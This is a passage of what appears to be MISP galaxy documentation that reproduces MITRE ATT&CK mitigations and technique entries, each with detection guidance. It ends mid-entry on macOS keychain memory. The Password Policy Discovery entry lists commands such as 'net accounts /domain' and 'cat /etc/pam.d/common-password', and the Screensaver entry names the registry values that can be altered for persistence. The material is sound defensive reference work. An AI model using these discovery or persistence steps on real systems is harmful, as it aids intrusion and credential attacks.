Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Permission Groups Discovery Mitigation"*

Logon Scripts Mitigation

Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating [[Credential Access]] techniques and limiting account access and permissions of [[Technique/T1078|Valid Accounts]].

Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Logon Scripts Mitigation"*

Code Signing Mitigation

Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system.[[CiteRef::NSA MS AppLocker]][[CiteRef::TechNet Trusted Publishers]][[CiteRef::Securelist Digital Certificates]]

The tag is: *misp-galaxy:mitre-course-of-action="Code Signing Mitigation"*

Gatekeeper Bypass Mitigation

Other tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven’t been downloaded through the Apple Store which can help mitigate some of these issues.

The tag is: *misp-galaxy:mitre-course-of-action="Gatekeeper Bypass Mitigation"*

Windows Remote Management Mitigation

Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.[[CiteRef::NSA Spotting]]

The tag is: *misp-galaxy:mitre-course-of-action="Windows Remote Management Mitigation"*

Web Shell Mitigation

Ensure that externally facing Web servers are patched regularly to prevent adversary access through [[Technique/T1068|Exploitation of Vulnerability]] to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through [[Credential Access]] and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.[[CiteRef::US-CERT Alert TA15-314A Web Shells]]

The tag is: *misp-galaxy:mitre-course-of-action="Web Shell Mitigation"*

Data Obfuscation Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Data Obfuscation Mitigation"*

Software Packing Mitigation

Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.

Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Software Packing Mitigation"*

Security Software Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Security Software Discovery Mitigation"*

Enterprise Attack - Attack Pattern

ATT&CK tactic.

Enterprise Attack - Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Exfiltration Over Alternative Protocol - T1048

Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Alternative Protocol - T1048"*

Table 1856. Table References

Links
https://attack.mitre.org/wiki/Technique/T1048
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Standard Application Layer Protocol - T1071

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071"*

Table 1857. Table References

Links
https://attack.mitre.org/wiki/Technique/T1071
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Communication Through Removable Media - T1092

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

Detection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Data loss prevention

Requires Network: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Communication Through Removable Media - T1092"*

Table 1858. Table References

Links
https://attack.mitre.org/wiki/Technique/T1092

Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Common information repositories:

===Microsoft SharePoint=== Found in many enterprise networks and often used to store and share significant amounts of documentation.

===Atlassian Confluence=== Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.

Detection: As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.

The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.

Platforms: Linux, Windows, macOS

Data Sources: Application Logs, Authentication logs, Data loss prevention, Third-party application logs

Permissions Required: User

Contributors: Milos Stojadinovic

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Information Repositories - T1213"*

Table 1859. Table References

Links
https://attack.mitre.org/wiki/Technique/T1213
https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html

Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in <code>C:\Windows\System32\</code> along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

*<code>SCRNSAVE.exe</code> - set to malicious PE path *<code>ScreenSaveActive</code> - set to '1' to enable the screensaver *<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock *<code>ScreenSaverTimeout</code> - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

Detection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.

Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.

Platforms: Windows

Data Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring

Permissions Required: User

Contributors: Bartosz Jerzman

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Screensaver - T1180"*

Table 1860. Table References

Links
https://attack.mitre.org/wiki/Technique/T1180
https://en.wikipedia.org/wiki/Screensaver
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Password Policy Discovery - T1201

Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)

===Windows=== * <code>net accounts</code> * <code>net accounts /domain</code>

===Linux=== * <code>chage -l <username></code> * <code>cat /etc/pam.d/common-password</code>

===macOS=== * <code>pwpolicy getaccountpolicies</code>

Detection: Monitor processes for tools and command line arguments that may indicate they’re being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.

Platforms: Linux, Windows, macOS

Data Sources: Process command-line parameters, Process Monitoring

Permissions Required: User

Contributors: Sudhanshu Chauhan, @Sudhanshu_C

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Password Policy Discovery - T1201"*

Table 1861. Table References

Links
https://attack.mitre.org/wiki/Technique/T1201
https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu

https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines

Custom Command and Control Protocol - T1094

Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Command and Control Protocol - T1094"*

Table 1862. Table References

Links
https://attack.mitre.org/wiki/Technique/T1094
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

File System Permissions Weakness - T1044

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

===Services===

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

===Executable Installers===

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)

Detection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.

Platforms: Windows

Data Sources: File monitoring, Process command-line parameters, Services

Effective Permissions: User, Administrator, SYSTEM

Permissions Required: User, Administrator

Contributors: Stefan Kanthak, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="File System Permissions Weakness - T1044"*

Table 1863. Table References

Links
https://attack.mitre.org/wiki/Technique/T1044
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
http://seclists.org/fulldisclosure/2015/Dec/34

Process Hollowing - T1093

Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)

Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)

Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

Platforms: Windows

Data Sources: Process monitoring, API monitoring

Defense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Hollowing - T1093"*

Table 1864. Table References

Links
https://attack.mitre.org/wiki/Technique/T1093
http://www.autosectools.com/process-hollowing.pdf
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Scripting - T1064

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)

Platforms: Linux, macOS, Windows

Data Sources: Process monitoring, File monitoring, Process command-line parameters

Defense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Scripting - T1064"*

Table 1865. Table References

Links
https://attack.mitre.org/wiki/Technique/T1064
http://www.metasploit.com
https://www.veil-framework.com/framework/
https://github.com/mattifestation/PowerSploit
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://www.uperesia.com/analyzing-malicious-office-documents

AppleScript - T1155

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote

IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.

Detection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.

Platforms: macOS

Data Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters

Permissions Required: User

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="AppleScript - T1155"*

Table 1866. Table References

Links
https://attack.mitre.org/wiki/Technique/T1155
https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/

Data from Removable Media - T1025

Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.

Adversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Process command-line parameters

System Requirements: Privileges to access removable media drive and files

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Removable Media - T1025"*

Table 1867. Table References

Links
https://attack.mitre.org/wiki/Technique/T1025

Code Signing - T1116

Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

Detection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.

Platforms: Windows, macOS

Data Sources: Binary file metadata

Defense Bypassed: Windows User Account Control

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Code Signing - T1116"*

Table 1868. Table References

Links
https://attack.mitre.org/wiki/Technique/T1116
https://en.wikipedia.org/wiki/Code%20signing
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates

AppCert DLLs - T1182

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017) *CreateProcess *CreateProcessAsUser *CreateProcessWithLoginW *CreateProcessWithTokenW *WinExec Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

Detection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)

Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)

Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

Platforms: Windows

Data Sources: Loaded DLLs, Process Monitoring, Windows Registry

Effective Permissions: Administrator, SYSTEM

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="AppCert DLLs - T1182"*

Table 1869. Table References

Links
https://attack.mitre.org/wiki/Technique/T1182
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://forum.sysinternals.com/appcertdlls%20topic12546.html

Rootkit - T1014

Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.

(Citation: Wikipedia Rootkit)

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)

Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)

Platforms: Linux, macOS, Windows

Data Sources: BIOS, MBR, System calls

Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path

Permissions Required: Administrator, SYSTEM, root

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Rootkit - T1014"*

Table 1870. Table References

Links
https://attack.mitre.org/wiki/Technique/T1014
https://en.wikipedia.org/wiki/Rootkit
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf

Login Item - T1162

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user’s context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user’s <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).

Detection: All the login items are viewable by going to the Apple menu → System Preferences → Users & Groups → Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.

Platforms: macOS

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Login Item - T1162"*

Table 1871. Table References

Links
https://attack.mitre.org/wiki/Technique/T1162
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

Command-Line Interface - T1059

Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).

Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.

Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.

Platforms: Linux, Windows, macOS

Data Sources: Process command-line parameters, Process monitoring

Permissions Required: Administrator, SYSTEM, User

Remote Support: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059"*

Table 1872. Table References

Links
https://attack.mitre.org/wiki/Technique/T1059
https://en.wikipedia.org/wiki/Command-line%20interface

Exfiltration Over Command and Control Channel - T1041

Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.

Detection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: User interface, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Command and Control Channel - T1041"*

Table 1873. Table References

Links
https://attack.mitre.org/wiki/Technique/T1041
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

User Execution - T1204

An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via Spearphishing Attachment with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via Spearphishing Link that leads to exploitation of a browser or application vulnerability via Exploitation for Client Execution. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.

Detection: Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.

Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user’s computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.

Platforms: Linux, Windows, macOS

Data Sources: Anti-virus, Process command-line parameters, Process monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="User Execution - T1204"*

Table 1874. Table References

Links
https://attack.mitre.org/wiki/Technique/T1204

Multi-Stage Channels - T1104

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.

Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.

Platforms: Linux, macOS, Windows

Data Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Multi-Stage Channels - T1104"*

Table 1875. Table References

Links
https://attack.mitre.org/wiki/Technique/T1104

Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

